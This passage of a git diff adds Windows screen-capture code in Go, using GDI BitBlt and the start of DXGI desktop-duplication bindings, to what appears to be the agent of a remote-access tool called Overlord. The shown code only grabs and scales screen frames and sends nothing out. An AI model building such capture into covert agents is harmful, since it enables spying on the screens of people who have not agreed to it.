+ procGetForegroundWindowROI = user32.NewProc("GetForegroundWindow")
+ procGetWindowRectROI = user32.NewProc("GetWindowRect")
+)
+
+type winRect struct {
+ left int32
+ top int32
+ right int32
+ bottom int32
+}
+
+func cursorROI() (image.Rectangle, bool) {
+ x, y, visible := getCursorPosition()
+ if !visible {
+ return image.Rectangle{}, false
+ }
+ const cursorBox = 48
+ half := cursorBox / 2
+ r := image.Rect(int(x)-half, int(y)-half, int(x)+half, int(y)+half)
+ if r.Dx() <= 0 || r.Dy() <= 0 {
+ return image.Rectangle{}, false
+ }
+ return r, true
+}
+
+func focusWindowROI() (image.Rectangle, bool) {
+ hwnd, _, _ := procGetForegroundWindowROI.Call()
+ if hwnd == 0 {
+ return image.Rectangle{}, false
+ }
+ var wr winRect
+ ret, _, _ := procGetWindowRectROI.Call(hwnd, uintptr(unsafe.Pointer(&wr)))
+ if ret == 0 {
+ return image.Rectangle{}, false
+ }
+ r := image.Rect(int(wr.left), int(wr.top), int(wr.right), int(wr.bottom))
+ if r.Dx() <= 0 || r.Dy() <= 0 {
+ return image.Rectangle{}, false
+ }
+ return r, true
+}
diff --git a/Overlord-Client/cmd/agent/capture/win_bitblt.go b/Overlord-Client/cmd/agent/capture/win_bitblt.go
new file mode 100644
index 0000000..e57cbe1
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/win_bitblt.go
@@ -0,0 +1,477 @@
+//go:build windows
+
+package capture
+
+import (
+ "image"
+ "log"
+ "os"
+ "strconv"
+ "sync"
+ "sync/atomic"
+ "syscall"
+ "time"
+ "unsafe"
+)
+
+var (
+ user32 = syscall.NewLazyDLL("user32.dll")
+ gdi32 = syscall.NewLazyDLL("gdi32.dll")
+ shcore = syscall.NewLazyDLL("shcore.dll")
+ kernel32 = syscall.NewLazyDLL("kernel32.dll")
+ procGetDC = user32.NewProc("GetDC")
+ procReleaseDC = user32.NewProc("ReleaseDC")
+ procGetSystemMetrics = user32.NewProc("GetSystemMetrics")
+ procCreateCompatibleDC = gdi32.NewProc("CreateCompatibleDC")
+ procCreateDCW = gdi32.NewProc("CreateDCW")
+ procDeleteDC = gdi32.NewProc("DeleteDC")
+ procCreateCompatibleBitmap = gdi32.NewProc("CreateCompatibleBitmap")
+ procCreateDIBSection = gdi32.NewProc("CreateDIBSection")
+ procDeleteObject = gdi32.NewProc("DeleteObject")
+ procSelectObject = gdi32.NewProc("SelectObject")
+ procBitBlt = gdi32.NewProc("BitBlt")
+ procSetProcessDpiAwareness = shcore.NewProc("SetProcessDpiAwareness")
+)
+
+const (
+ SM_CXSCREEN = 0
+ SM_CYSCREEN = 1
+ SM_XVIRTUALSCREEN = 76
+ SM_YVIRTUALSCREEN = 77
+ SM_CXVIRTUALSCREEN = 78
+ SM_CYVIRTUALSCREEN = 79
+ SRCCOPY = 0x00CC0020
+ CAPTUREBLT = 0x40000000
+ BI_RGB = 0
+ DIB_RGB_COLORS = 0
+ PROCESS_PER_MONITOR_DPI_AWARE = 2
+)
+
+type bitmapInfoHeader struct {
+ biSize uint32
+ biWidth int32
+ biHeight int32
+ biPlanes uint16
+ biBitCount uint16
+ biCompression uint32
+ biSizeImage uint32
+ biXPelsPerMeter int32
+ biYPelsPerMeter int32
+ biClrUsed uint32
+ biClrImportant uint32
+}
+
+type bitmapInfo struct {
+ bmiHeader bitmapInfoHeader
+ redMask uint32
+ greenMask uint32
+ blueMask uint32
+ alphaMask uint32
+}
+
+func getSystemMetric(i int32) int32 {
+ r, _, _ := procGetSystemMetrics.Call(uintptr(i))
+ return int32(r)
+}
+
+func getDC(hwnd uintptr) uintptr {
+ dc, _, _ := procGetDC.Call(hwnd)
+ return dc
+}
+
+func releaseDC(hwnd, hdc uintptr) {
+ _, _, _ = procReleaseDC.Call(hwnd, hdc)
+}
+
+func createCompatibleDC(hdc uintptr) uintptr {
+ r, _, _ := procCreateCompatibleDC.Call(hdc)
+ return r
+}
+
+func createDisplayDC() uintptr {
+ displayName := syscall.StringToUTF16Ptr("DISPLAY")
+ r, _, _ := procCreateDCW.Call(uintptr(unsafe.Pointer(displayName)), 0, 0, 0)
+ return r
+}
+
+func deleteDC(hdc uintptr) {
+ _, _, _ = procDeleteDC.Call(hdc)
+}
+
+func createCompatibleBitmap(hdc uintptr, w, h int32) uintptr {
+ r, _, _ := procCreateCompatibleBitmap.Call(hdc, uintptr(w), uintptr(h))
+ return r
+}
+
+func createDIBSection(hdc uintptr, bmi *bitmapInfo, usage uint32, bits *unsafe.Pointer) uintptr {
+ r, _, _ := procCreateDIBSection.Call(hdc, uintptr(unsafe.Pointer(bmi)), uintptr(usage), uintptr(unsafe.Pointer(bits)), 0, 0)
+ return r
+}
+
+func deleteObject(obj uintptr) {
+ _, _, _ = procDeleteObject.Call(obj)
+}
+
+func selectObject(hdc, hgdiobj uintptr) uintptr {
+ r, _, _ := procSelectObject.Call(hdc, hgdiobj)
+ return r
+}
+
+func bitBlt(hdcDest uintptr, x, y, cx, cy int32, hdcSrc uintptr, x1, y1 int32, rop uint32) bool {
+ r, _, _ := procBitBlt.Call(hdcDest, uintptr(x), uintptr(y), uintptr(cx), uintptr(cy), hdcSrc, uintptr(x1), uintptr(y1), uintptr(rop))
+ return r != 0
+}
+
+func bitBltWithFallback(hdcMem, hdcScreen uintptr, bounds image.Rectangle, w, h int) bool {
+ if bitBlt(hdcMem, 0, 0, int32(w), int32(h), hdcScreen, int32(bounds.Min.X), int32(bounds.Min.Y), SRCCOPY|CAPTUREBLT) {
+ return true
+ }
+ return bitBlt(hdcMem, 0, 0, int32(w), int32(h), hdcScreen, int32(bounds.Min.X), int32(bounds.Min.Y), SRCCOPY)
+}
+
+var dpiAwareOnce sync.Once
+
+func setDPIAware() {
+ dpiAwareOnce.Do(func() {
+
+ if procSetProcessDpiAwareness.Find() == nil {
+ procSetProcessDpiAwareness.Call(uintptr(PROCESS_PER_MONITOR_DPI_AWARE))
+ }
+ })
+}
+
+var (
+ captureCount atomic.Int64
+ bitbltNs atomic.Int64
+ convertNs atomic.Int64
+ lastCaptureLogNs atomic.Int64
+ scaleOnce sync.Once
+ cachedScale float64
+ state capState
+ captureMu sync.Mutex
+)
+
+var captureDisplayFn = func(display int) (*image.RGBA, error) {
+ if useDesktopDuplication() {
+ img, err := captureDisplayDXGI(display)
+ if err == nil && img != nil {
+ return img, nil
+ }
+ if err != nil {
+ log.Printf("capture: dxgi duplication failed: %v (falling back to bitblt)", err)
+ }
+ }
+ return captureDisplayBitBlt(display)
+}
+
+func captureDisplayBitBlt(display int) (*image.RGBA, error) {
+
+ captureMu.Lock()
+ defer captureMu.Unlock()
+
+ setDPIAware()
+
+ maxDisplays := displayCount()
+ if display < 0 || display >= maxDisplays {
+ display = 0
+ }
+
+ mons := monitorList()
+ if display >= len(mons) {
+ display = 0
+ }
+ mon := mons[display]
+
+ bounds := resolveBounds(mon)
+ srcW := bounds.Dx()
+ srcH := bounds.Dy()
+ if srcW <= 0 || srcH <= 0 {
+ ResetMonitorCache()
+ mons = monitorList()
+ if display >= len(mons) {
+ display = 0
+ }
+ if display < len(mons) {
+ mon = mons[display]
+ bounds = resolveBounds(mon)
+ srcW = bounds.Dx()
+ srcH = bounds.Dy()
+ }
+ if srcW <= 0 || srcH <= 0 {
+ return nil, syscall.EINVAL
+ }
+ }
+
+ userScale := captureScale()
+ dstW := int(float64(srcW) * userScale)
+ dstH := int(float64(srcH) * userScale)
+ if dstW <= 0 || dstH <= 0 {
+ dstW = srcW
+ dstH = srcH
+ }
+
+ capW := srcW
+ capH := srcH
+
+ hdcScreen := createDisplayDC()
+ fromCreateDC := hdcScreen != 0
+ if hdcScreen == 0 {
+ hdcScreen = getDC(0)
+ }
+ if hdcScreen == 0 {
+ return nil, syscall.EINVAL
+ }
+ closeDC := func() {
+ if hdcScreen == 0 {
+ return
+ }
+ if fromCreateDC {
+ deleteDC(hdcScreen)
+ } else {
+ releaseDC(0, hdcScreen)
+ }
+ hdcScreen = 0
+ }
+ defer closeDC()
+
+ if capW <= 0 || capH <= 0 {
+ return nil, syscall.EINVAL
+ }
+
+ captureWithDC := func() (*image.RGBA, time.Duration, time.Duration, time.Duration, error) {
+ hdcMem, _, buf, stride, err := state.ensure(hdcScreen, capW, capH)
+ if err != nil {
+ return nil, 0, 0, 0, err
+ }
+
+ bitStart := time.Now()
+ if !bitBltWithFallback(hdcMem, hdcScreen, bounds, capW, capH) {
+ state.reset()
+ hdcMem, _, buf, stride, err = state.ensure(hdcScreen, capW, capH)
+ if err != nil {
+ return nil, 0, 0, 0, err
+ }
+ if !bitBltWithFallback(hdcMem, hdcScreen, bounds, capW, capH) {
+ return nil, 0, 0, 0, syscall.EINVAL
+ }
+ }
+ bitDur := time.Since(bitStart)
+ cursorDrawn := DrawCursorOnDC(hdcMem, bounds)
+
+ if len(buf) == 0 {
+ return nil, 0, 0, 0, syscall.EINVAL
+ }
+
+ dibDur := time.Duration(0)
+
+ convStart := time.Now()
+ swapRB(buf)
+ img := &image.RGBA{Pix: buf, Stride: stride, Rect: image.Rect(0, 0, capW, capH)}
+ convDur := time.Since(convStart)
+
+ if !cursorDrawn {
+ DrawCursorOnImage(img, bounds)
+ }
+ if dstW != capW || dstH != capH {
+ img = resizeNearest(img, dstW, dstH)
+ } else {
+ // Detach from the reusable DIB buffer to avoid concurrent mutation during encode.
+ stable := image.NewRGBA(img.Rect)
+ copy(stable.Pix, img.Pix)
+ img = stable
+ }
+
+ return img, bitDur, dibDur, convDur, nil
+ }
+
+ img, bitDur, dibDur, convDur, err := captureWithDC()
+ if err != nil && fromCreateDC {
+ closeDC()
+ hdcScreen = getDC(0)
+ fromCreateDC = false
+ if hdcScreen == 0 {
+ return nil, err
+ }
+ img, bitDur, dibDur, convDur, err = captureWithDC()
+ }
+ if err != nil {
+ return nil, err
+ }
+
+ logCaptureTimings(bitDur, dibDur, convDur)
+ return img, nil
+}
+
+func clampToVirtual(bounds image.Rectangle) image.Rectangle {
+ vx := int(getSystemMetric(SM_XVIRTUALSCREEN))
+ vy := int(getSystemMetric(SM_YVIRTUALSCREEN))
+ vw := int(getSystemMetric(SM_CXVIRTUALSCREEN))
+ vh := int(getSystemMetric(SM_CYVIRTUALSCREEN))
+ if vw <= 0 || vh <= 0 {
+ return bounds
+ }
+ virtual := image.Rect(vx, vy, vx+vw, vy+vh)
+ inter := bounds.Intersect(virtual)
+ if inter.Empty() {
+ return bounds
+ }
+ return inter
+}
+
+func resolveBounds(mon monitorDesc) image.Rectangle {
+ virtualW := int(getSystemMetric(SM_CXVIRTUALSCREEN))
+ virtualH := int(getSystemMetric(SM_CYVIRTUALSCREEN))
+ if virtualW > 0 && virtualH > 0 {
+ return clampToVirtual(mon.rect)
+ }
+ return captureBounds(mon)
+}
+
+func captureBounds(mon monitorDesc) image.Rectangle {
+ bounds := mon.rect
+ if mon.physW > 0 && mon.physH > 0 {
+ phys := image.Rect(mon.posX, mon.posY, mon.posX+mon.physW, mon.posY+mon.physH)
+ if phys.Dx() > 0 && phys.Dy() > 0 {
+ if mon.scale != 1.0 || phys.Dx() != bounds.Dx() || phys.Dy() != bounds.Dy() {
+ bounds = phys
+ }
+ }
+ }
+ return bounds
+}
+
+func swapRB(pix []byte) {
+ for i := 0; i+3 < len(pix); i += 4 {
+ pix[i], pix[i+2] = pix[i+2], pix[i]
+ }
+}
+
+func logCaptureTimings(bitDur, dibDur, convDur time.Duration) {
+ captureCount.Add(1)
+ bitbltNs.Add(bitDur.Nanoseconds())
+ convertNs.Add(convDur.Nanoseconds())
+
+ nowNs := time.Now().UnixNano()
+ last := lastCaptureLogNs.Load()
+ if last != 0 && time.Duration(nowNs-last) < 5*time.Second {
+ return
+ }
+ if !lastCaptureLogNs.CompareAndSwap(last, nowNs) {
+ return
+ }
+ frames := captureCount.Swap(0)
+ if frames == 0 {
+ return
+ }
+ avg := func(totalNs atomic.Int64) float64 {
+ return float64(totalNs.Swap(0)) / 1e6 / float64(frames)
+ }
+ bitAvg := avg(bitbltNs)
+ convAvg := avg(convertNs)
+ log.Printf("capture: win bitblt avg bitblt=%.2fms convert=%.2fms frames=%d", bitAvg, convAvg, frames)
+}
+
+func resizeNearest(src *image.RGBA, w, h int) *image.RGBA {
+ dst := image.NewRGBA(image.Rect(0, 0, w, h))
+ srcW := src.Bounds().Dx()
+ srcH := src.Bounds().Dy()
+ for y := 0; y < h; y++ {
+ sy := y * srcH / h
+ sp := sy * src.Stride
+ dp := y * dst.Stride
+ for x := 0; x < w; x++ {
+ sx := x * srcW / w
+ s := sp + sx*4
+ d := dp + x*4
+ dst.Pix[d+0] = src.Pix[s+0]
+ dst.Pix[d+1] = src.Pix[s+1]
+ dst.Pix[d+2] = src.Pix[s+2]
+ dst.Pix[d+3] = src.Pix[s+3]
+ }
+ }
+ return dst
+}
+
+type capState struct {
+ mu sync.Mutex
+ hdcMem uintptr
+ hbmp uintptr
+ buf []byte
+ stride int
+ w int
+ h int
+ bits unsafe.Pointer
+}
+
+func (s *capState) ensure(hdcScreen uintptr, w, h int) (uintptr, uintptr, []byte, int, error) {
+ s.mu.Lock()
+ defer s.mu.Unlock()
+
+ if s.hdcMem == 0 {
+ s.hdcMem = createCompatibleDC(hdcScreen)
+ if s.hdcMem == 0 {
+ return 0, 0, nil, 0, syscall.EINVAL
+ }
+ }
+
+ if s.w != w || s.h != h || s.hbmp == 0 {
+ bmi := bitmapInfo{
+ bmiHeader: bitmapInfoHeader{
+ biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
+ biWidth: int32(w),
+ biHeight: -int32(h),
+ biPlanes: 1,
+ biBitCount: 32,
+ biCompression: BI_RGB,
+ },
+ }
+ var bits unsafe.Pointer
+ newBmp := createDIBSection(s.hdcMem, &bmi, DIB_RGB_COLORS, &bits)
+ if newBmp == 0 || bits == nil {
+ return 0, 0, nil, 0, syscall.EINVAL
+ }
+ selectObject(s.hdcMem, newBmp)
+ if s.hbmp != 0 {
+ deleteObject(s.hbmp)
+ }
+ s.hbmp = newBmp
+ s.w = w
+ s.h = h
+ s.stride = w * 4
+ s.bits = bits
+ s.buf = unsafe.Slice((*byte)(bits), s.stride*h)
+ }
+
+ return s.hdcMem, s.hbmp, s.buf, s.stride, nil
+}
+
+func (s *capState) reset() {
+ s.mu.Lock()
+ defer s.mu.Unlock()
+ if s.hbmp != 0 {
+ deleteObject(s.hbmp)
+ s.hbmp = 0
+ }
+ if s.hdcMem != 0 {
+ deleteDC(s.hdcMem)
+ s.hdcMem = 0
+ }
+ s.buf = nil
+ s.stride = 0
+ s.w = 0
+ s.h = 0
+ s.bits = nil
+}
+
+func captureScale() float64 {
+ scaleOnce.Do(func() {
+ s := 1.0
+ if env := os.Getenv("OVERLORD_RD_SCALE"); env != "" {
+ if v, err := strconv.ParseFloat(env, 64); err == nil && v > 0.2 && v <= 1.5 {
+ s = v
+ }
+ }
+ cachedScale = s
+ })
+ return cachedScale
+}
diff --git a/Overlord-Client/cmd/agent/capture/win_duplication.go b/Overlord-Client/cmd/agent/capture/win_duplication.go
new file mode 100644
index 0000000..8511da3
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/win_duplication.go
@@ -0,0 +1,1236 @@
+//go:build windows
+
+package capture
+
+import (
+ "errors"
+ "fmt"
+ "image"
+ "log"
+ "strings"
+ "sync"
+ "sync/atomic"
+ "syscall"
+ "time"
+ "unsafe"
+
+ "golang.org/x/sys/windows"
+)
+
+const (
+ d3d11SdkVersion = 7
+ d3d11CreateDeviceBgraSupport = 0x20
+ d3dDriverTypeUnknown = 0
+ dxgiErrorNotFound uintptr = 0x887A0002
+ dxgiErrorWaitTimeout uintptr = 0x887A0027
+ dxgiErrorAccessLost uintptr = 0x887A0026
+ S_OK uintptr = 0
+)
+
+var (
+ dxgiDLL = syscall.NewLazyDLL("dxgi.dll")
+ d3d11DLL = syscall.NewLazyDLL("d3d11.dll")
+ procCreateDXGIFactory1 = dxgiDLL.NewProc("CreateDXGIFactory1")
+ procD3D11CreateDevice = d3d11DLL.NewProc("D3D11CreateDevice")
+)
+
+var (
+ IID_IDXGIFactory1 = windows.GUID{Data1: 0x7b7166ec, Data2: 0x21c7, Data3: 0x44ae, Data4: [8]byte{0xb2, 0x1a, 0xc9, 0xae, 0x32, 0x1a, 0xe3, 0x69}}
+ IID_IDXGIAdapter1 = windows.GUID{Data1: 0x29038f61, Data2: 0x3839, Data3: 0x4626, Data4: [8]byte{0x91, 0xfd, 0x08, 0x68, 0x79, 0x01, 0x1a, 0x05}}
+ IID_IDXGIOutput1 = windows.GUID{Data1: 0x00cddea8, Data2: 0x939b, Data3: 0x4b83, Data4: [8]byte{0xa3, 0x40, 0xa6, 0x85, 0x22, 0x66, 0x66, 0xcc}}
+ IID_IDXGIOutputDuplication = windows.GUID{Data1: 0x191cfac3, Data2: 0xa341, Data3: 0x470d, Data4: [8]byte{0xb2, 0x6e, 0xa8, 0x64, 0xf4, 0x28, 0x31, 0x9c}}
+ IID_ID3D11Device = windows.GUID{Data1: 0xdb6f6ddb, Data2: 0xac77, Data3: 0x4e88, Data4: [8]byte{0x82, 0x53, 0x81, 0x9d, 0xf9, 0xbb, 0xf1, 0x40}}
+ IID_ID3D11DeviceContext = windows.GUID{Data1: 0xc0bfa96c, Data2: 0xe089, Data3: 0x44fb, Data4: [8]byte{0x8e, 0xaf, 0x26, 0xf8, 0x79, 0x61, 0x90, 0xda}}
+ IID_ID3D11Texture2D = windows.GUID{Data1: 0x6f15aaf2, Data2: 0xd208, Data3: 0x4e89, Data4: [8]byte{0x9a, 0xb4, 0x48, 0x95, 0x35, 0xd3, 0x4f, 0x9c}}
+)
+
+const (
+ d3d11UsageStaging = 3
+ d3d11CpuAccessRead = 0x20000
+ d3d11MapRead = 1
+ dxgiModeRotationUnspecified = 0
+ dxgiModeRotationIdentity = 1
+ dxgiModeRotationRotate90 = 2
+ dxgiModeRotationRotate180 = 3
+ dxgiModeRotationRotate270 = 4
+)
+
+type iunknownVtbl struct {
+ QueryInterface uintptr
+ AddRef uintptr
+ Release uintptr
+}
+
+type iunknown struct {
+ lpVtbl *iunknownVtbl
+}
+
+func callSyscallN(fn uintptr, args ...uintptr) uintptr {
+ r, _, _ := syscall.SyscallN(fn, args...)
+ return r
+}
+
+func (u *iunknown) QueryInterface(iid *windows.GUID, obj unsafe.Pointer) uintptr {
+ if u == nil || u.lpVtbl == nil {
+ return 0
+ }
+ return callSyscallN(u.lpVtbl.QueryInterface, uintptr(unsafe.Pointer(u)), uintptr(unsafe.Pointer(iid)), uintptr(obj))
+}
+
+func (u *iunknown) Release() {
+ if u == nil || u.lpVtbl == nil {
+ return
+ }
+ syscall.SyscallN(u.lpVtbl.Release, uintptr(unsafe.Pointer(u)))
+}
+
+type idxgiFactory1Vtbl struct {
+ QueryInterface uintptr
+ AddRef uintptr
+ Release uintptr
+ SetPrivateData uintptr
+ SetPrivateDataInterface uintptr
+ GetPrivateData uintptr
+ GetParent uintptr
+ EnumAdapters uintptr
+ MakeWindowAssociation uintptr
+ GetWindowAssociation uintptr
+ CreateSwapChain uintptr
+ CreateSoftwareAdapter uintptr
+ EnumAdapters1 uintptr
+ IsCurrent uintptr
+}
+
+type idxgiFactory1 struct {
+ lpVtbl *idxgiFactory1Vtbl
+}
+
+func (f *idxgiFactory1) Release() {
+ if f == nil || f.lpVtbl == nil {
+ return
+ }
+ syscall.SyscallN(f.lpVtbl.Release, uintptr(unsafe.Pointer(f)))
+}
+
+func (f *idxgiFactory1) EnumAdapters1(index uint32, adapter **idxgiAdapter1) uintptr {
+ return callSyscallN(f.lpVtbl.EnumAdapters1, uintptr(unsafe.Pointer(f)), uintptr(index), uintptr(unsafe.Pointer(adapter)))
+}
+
+type idxgiAdapter1Vtbl struct {
+ QueryInterface uintptr
+ AddRef uintptr
+ Release uintptr
+ SetPrivateData uintptr
+ SetPrivateDataInterface uintptr
+ GetPrivateData uintptr
+ GetParent uintptr
+ EnumOutputs uintptr
+ GetDesc uintptr
+ CheckInterfaceSupport uintptr
+ GetDesc1 uintptr
+}
+
+type idxgiAdapter1 struct {
+ lpVtbl *idxgiAdapter1Vtbl
+}
+
+func (a *idxgiAdapter1) Release() {
+ if a == nil || a.lpVtbl == nil {
+ return
+ }
+ syscall.SyscallN(a.lpVtbl.Release, uintptr(unsafe.Pointer(a)))
+}
+
+func (a *idxgiAdapter1) EnumOutputs(index uint32, output **idxgiOutput) uintptr {
+ return callSyscallN(a.lpVtbl.EnumOutputs, uintptr(unsafe.Pointer(a)), uintptr(index), uintptr(unsafe.Pointer(output)))
+}
+
+type dxgiOutputDesc struct {
+ DeviceName [32]uint16
+ DesktopCoordinates rect
+ AttachedToDesktop int32
+ Rotation uint32
+ Monitor uintptr
+}
+
+type idxgiOutputVtbl struct {
+ QueryInterface uintptr
+ AddRef uintptr
+ Release uintptr
+ SetPrivateData uintptr
+ SetPrivateDataInterface uintptr
+ GetPrivateData uintptr
+ GetParent uintptr
+ GetDesc uintptr
+ GetDisplayModeList uintptr
+ FindClosestMatchingMode uintptr
+ WaitForVBlank uintptr
+ TakeOwnership uintptr
+ ReleaseOwnership uintptr
+ GetGammaControlCapabilities uintptr
+ SetGammaControl uintptr
+ GetGammaControl uintptr
+ SetDisplaySurface uintptr
+ GetDisplaySurfaceData uintptr
+ GetFrameStatistics uintptr
+}
+
+type idxgiOutput struct {
+ lpVtbl *idxgiOutputVtbl
+}
+
+func (o *idxgiOutput) Release() {
+ if o == nil || o.lpVtbl == nil {
+ return
+ }
+ syscall.SyscallN(o.lpVtbl.Release, uintptr(unsafe.Pointer(o)))
+}
+
+func (o *idxgiOutput) GetDesc(desc *dxgiOutputDesc) uintptr {
+ return callSyscallN(o.lpVtbl.GetDesc, uintptr(unsafe.Pointer(o)), uintptr(unsafe.Pointer(desc)))
+}
+
+type idxgiOutput1Vtbl struct {
+ QueryInterface uintptr
+ AddRef uintptr
+ Release uintptr
+ SetPrivateData uintptr
+ SetPrivateDataInterface uintptr
+ GetPrivateData uintptr
+ GetParent uintptr
+ GetDesc uintptr
+ GetDisplayModeList uintptr
+ FindClosestMatchingMode uintptr
+ WaitForVBlank uintptr
+ TakeOwnership uintptr
+ ReleaseOwnership uintptr
+ GetGammaControlCapabilities uintptr
+ SetGammaControl uintptr
+ GetGammaControl uintptr
+ SetDisplaySurface uintptr
+ GetDisplaySurfaceData uintptr
+ GetFrameStatistics uintptr
+ GetDisplayModeList1 uintptr
+ FindClosestMatchingMode1 uintptr
+ GetDisplaySurfaceData1 uintptr
+ DuplicateOutput uintptr
+}
+
+type idxgiOutput1 struct {
+ lpVtbl *idxgiOutput1Vtbl
+}
+
+func (o *idxgiOutput1) Release() {
+ if o == nil || o.lpVtbl == nil {
+ return
+ }
+ syscall.SyscallN(o.lpVtbl.Release, uintptr(unsafe.Pointer(o)))
+}
+
+func (o *idxgiOutput1) DuplicateOutput(device *iunknown, dup **idxgiOutputDuplication) uintptr {
+ return callSyscallN(o.lpVtbl.DuplicateOutput, uintptr(unsafe.Pointer(o)), uintptr(unsafe.Pointer(device)), uintptr(unsafe.Pointer(dup)))
+}
+
+type dxgiRational struct {
+ Numerator uint32
+ Denominator uint32
+}
+
+type dxgiModeDesc struct {
+ Width uint32
+ Height uint32
+ RefreshRate dxgiRational
+ Format uint32
+ ScanlineOrdering uint32
+ Scaling uint32
+}
+
+type dxgiOutDuplDesc struct {
+ ModeDesc dxgiModeDesc
+ Rotation uint32
+ DesktopImageInSystemMemory int32
+}
+
+type dxgiOutDuplPointerPosition struct {
+ Position point
+ Visible int32
+}
+
+type dxgiOutDuplFrameInfo struct {
+ LastPresentTime uint64
+ LastMouseUpdateTime uint64
+ AccumulatedFrames uint32
+ RectsCoalesced uint32
+ ProtectedContentMaskedOut uint32
+ PointerPosition dxgiOutDuplPointerPosition
+ TotalMetadataBufferSize uint32
+ PointerShapeBufferSize uint32
+}
+
+type dxgiMappedRect struct {
+ Pitch int32
+ Bits *byte
+}
+
+type idxgiOutputDuplicationVtbl struct {
+ QueryInterface uintptr
+ AddRef uintptr
+ Release uintptr
+ SetPrivateData uintptr
+ SetPrivateDataInterface uintptr
+ GetPrivateData uintptr
+ GetParent uintptr
+ GetDesc uintptr
+ AcquireNextFrame uintptr
+ GetFrameDirtyRects uintptr
+ GetFrameMoveRects uintptr
+ GetFramePointerShape uintptr
+ MapDesktopSurface uintptr
+ UnMapDesktopSurface uintptr
+ ReleaseFrame uintptr
+}
+
+type idxgiOutputDuplication struct {
+ lpVtbl *idxgiOutputDuplicationVtbl
+}
+
+type d3d11DeviceVtbl struct {
+ QueryInterface uintptr
+ AddRef uintptr
+ Release uintptr
+ CreateBuffer uintptr
+ CreateTexture1D uintptr
+ CreateTexture2D uintptr
+ CreateTexture3D uintptr
+ CreateShaderResourceView uintptr
+ CreateUnorderedAccessView uintptr
+ CreateRenderTargetView uintptr
+ CreateDepthStencilView uintptr
+ CreateInputLayout uintptr
+ CreateVertexShader uintptr
+ CreateGeometryShader uintptr
+ CreateGeometryShaderWithStreamOutput uintptr
+ CreatePixelShader uintptr
+ CreateHullShader uintptr
+ CreateDomainShader uintptr
+ CreateComputeShader uintptr
+ CreateClassLinkage uintptr
+ CreateBlendState uintptr
+ CreateDepthStencilState uintptr
+ CreateRasterizerState uintptr
+ CreateSamplerState uintptr
+ CreateQuery uintptr
+ CreatePredicate uintptr
+ CreateCounter uintptr
+ CreateDeferredContext uintptr
+ OpenSharedResource uintptr
+ CheckFormatSupport uintptr
+ CheckMultisampleQualityLevels uintptr
+ CheckCounterInfo uintptr
+ CheckCounter uintptr
+ CheckFeatureSupport uintptr
+ GetPrivateData uintptr
+ SetPrivateData uintptr
+ SetPrivateDataInterface uintptr
+ GetFeatureLevel uintptr
+ GetCreationFlags uintptr
+ GetDeviceRemovedReason uintptr
+ GetImmediateContext uintptr
+ SetExceptionMode uintptr
+ GetExceptionMode uintptr
+}
+
+type d3d11Device struct {
+ lpVtbl *d3d11DeviceVtbl
+}
+
+func (d *d3d11Device) Release() {
+ if d == nil || d.lpVtbl == nil {
+ return
+ }
+ callSyscallN(d.lpVtbl.Release, uintptr(unsafe.Pointer(d)))
+}
+
+func (d *d3d11Device) GetImmediateContext(ctx **d3d11DeviceContext) {
+ if d == nil || d.lpVtbl == nil {
+ return
+ }
+ callSyscallN(d.lpVtbl.GetImmediateContext, uintptr(unsafe.Pointer(d)), uintptr(unsafe.Pointer(ctx)))
+}
+
+func (d *d3d11Device) CreateTexture2D(desc *d3d11Texture2DDesc, initialData unsafe.Pointer, tex **d3d11Texture2D) uintptr {
+ return callSyscallN(d.lpVtbl.CreateTexture2D, uintptr(unsafe.Pointer(d)), uintptr(unsafe.Pointer(desc)), uintptr(initialData), uintptr(unsafe.Pointer(tex)))
+}
+
+type d3d11DeviceContextVtbl struct {
+ QueryInterface uintptr
+ AddRef uintptr
+ Release uintptr
+ GetDevice uintptr
+ GetPrivateData uintptr
+ SetPrivateData uintptr
+ SetPrivateDataInterface uintptr
+ VSSetConstantBuffers uintptr
+ PSSetShaderResources uintptr
+ PSSetShader uintptr
+ PSSetSamplers uintptr
+ VSSetShader uintptr
+ DrawIndexed uintptr
+ Draw uintptr
+ Map uintptr
+ Unmap uintptr
+ PSSetConstantBuffers uintptr
+ IASetInputLayout uintptr
+ IASetVertexBuffers uintptr
+ IASetIndexBuffer uintptr
+ DrawIndexedInstanced uintptr
+ DrawInstanced uintptr
+ GSSetConstantBuffers uintptr
+ GSSetShader uintptr
+ IASetPrimitiveTopology uintptr
+ VSSetShaderResources uintptr
+ VSSetSamplers uintptr
+ Begin uintptr
+ End uintptr
+ GetData uintptr
+ SetPredication uintptr
+ GSSetShaderResources uintptr
+ GSSetSamplers uintptr
+ OMSetRenderTargets uintptr
+ OMSetRenderTargetsAndUnorderedAccessViews uintptr
+ OMSetBlendState uintptr
+ OMSetDepthStencilState uintptr
+ SOSetTargets uintptr
+ DrawAuto uintptr
+ DrawIndexedInstancedIndirect uintptr
+ DrawInstancedIndirect uintptr
+ Dispatch uintptr
+ DispatchIndirect uintptr
+ RSSetState uintptr
+ RSSetViewports uintptr
+ RSSetScissorRects uintptr
+ CopySubresourceRegion uintptr
+ CopyResource uintptr
+ UpdateSubresource uintptr
+ CopyStructureCount uintptr
+ ClearRenderTargetView uintptr
+ ClearUnorderedAccessViewUint uintptr
+ ClearUnorderedAccessViewFloat uintptr
+ ClearDepthStencilView uintptr
+ GenerateMips uintptr
+ SetResourceMinLOD uintptr
+ GetResourceMinLOD uintptr
+ ResolveSubresource uintptr
+ ExecuteCommandList uintptr
+ HSSetShaderResources uintptr
+ HSSetShader uintptr
+ HSSetSamplers uintptr
+ HSSetConstantBuffers uintptr
+ DSSetShaderResources uintptr
+ DSSetShader uintptr
+ DSSetSamplers uintptr
+ DSSetConstantBuffers uintptr
+ CSSetShaderResources uintptr
+ CSSetUnorderedAccessViews uintptr
+ CSSetShader uintptr
+ CSSetSamplers uintptr
+ CSSetConstantBuffers uintptr
+ VSGetConstantBuffers uintptr
+ PSGetShaderResources uintptr
+ PSGetShader uintptr
+ PSGetSamplers uintptr
+ VSGetShader uintptr
+ PSGetConstantBuffers uintptr
+ IAGetInputLayout uintptr
+ IAGetVertexBuffers uintptr
+ IAGetIndexBuffer uintptr
+ GSGetConstantBuffers uintptr
+ GSGetShader uintptr
+ IAGetPrimitiveTopology uintptr
+ VSGetShaderResources uintptr
+ VSGetSamplers uintptr
+ GetPredication uintptr
+ GSGetShaderResources uintptr
+ GSGetSamplers uintptr
+ OMGetRenderTargets uintptr
+ OMGetRenderTargetsAndUnorderedAccessViews uintptr
+ OMGetBlendState uintptr
+ OMGetDepthStencilState uintptr
+ SOGetTargets uintptr
